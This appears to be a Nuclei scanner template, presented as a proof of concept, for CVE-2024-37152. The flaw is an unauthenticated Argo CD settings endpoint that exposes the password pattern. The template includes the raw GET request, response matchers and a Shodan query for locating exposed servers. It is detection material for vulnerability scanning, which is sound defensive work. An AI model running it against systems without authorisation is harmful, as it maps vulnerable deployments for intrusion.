Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.
PoC
id: CVE-2024-37152
info:
name: Argo CD Unauthenticated Access to sensitive setting
author: DhiyaneshDk
severity: medium
description: |
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.
impact: |
Unauthenticated attackers can access sensitive password patterns and application settings exposed by the /api/v1/settings endpoint.
remediation: |
Update Argo CD to a version that patches CVE-2024-37152.
reference:
- https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2
- https://nvd.nist.gov/vuln/detail/CVE-2024-37152
classification:
cve-id: CVE-2024-37152
cwe-id: CWE-306
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
epss-score: 0.02348
epss-percentile: 0.82823
cpe: cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: argoproj
product: argo_cd
shodan-query: html:"Argo CD"
tags: cve,cve2024,argo-cd,info-leak,vuln
http:
- raw:
- |
GET /api/v1/settings HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"passwordPattern":'
- '"appLabelKey":'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a0047304502200d6f1acd271773a33703f2bf6959820076fdf1a27e876f6ee2e895bb37386bee0221008e0e76bc52e239e3a0fa03e3d13240055aaf2ac8ea61d7e32b2d5be201e923c3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.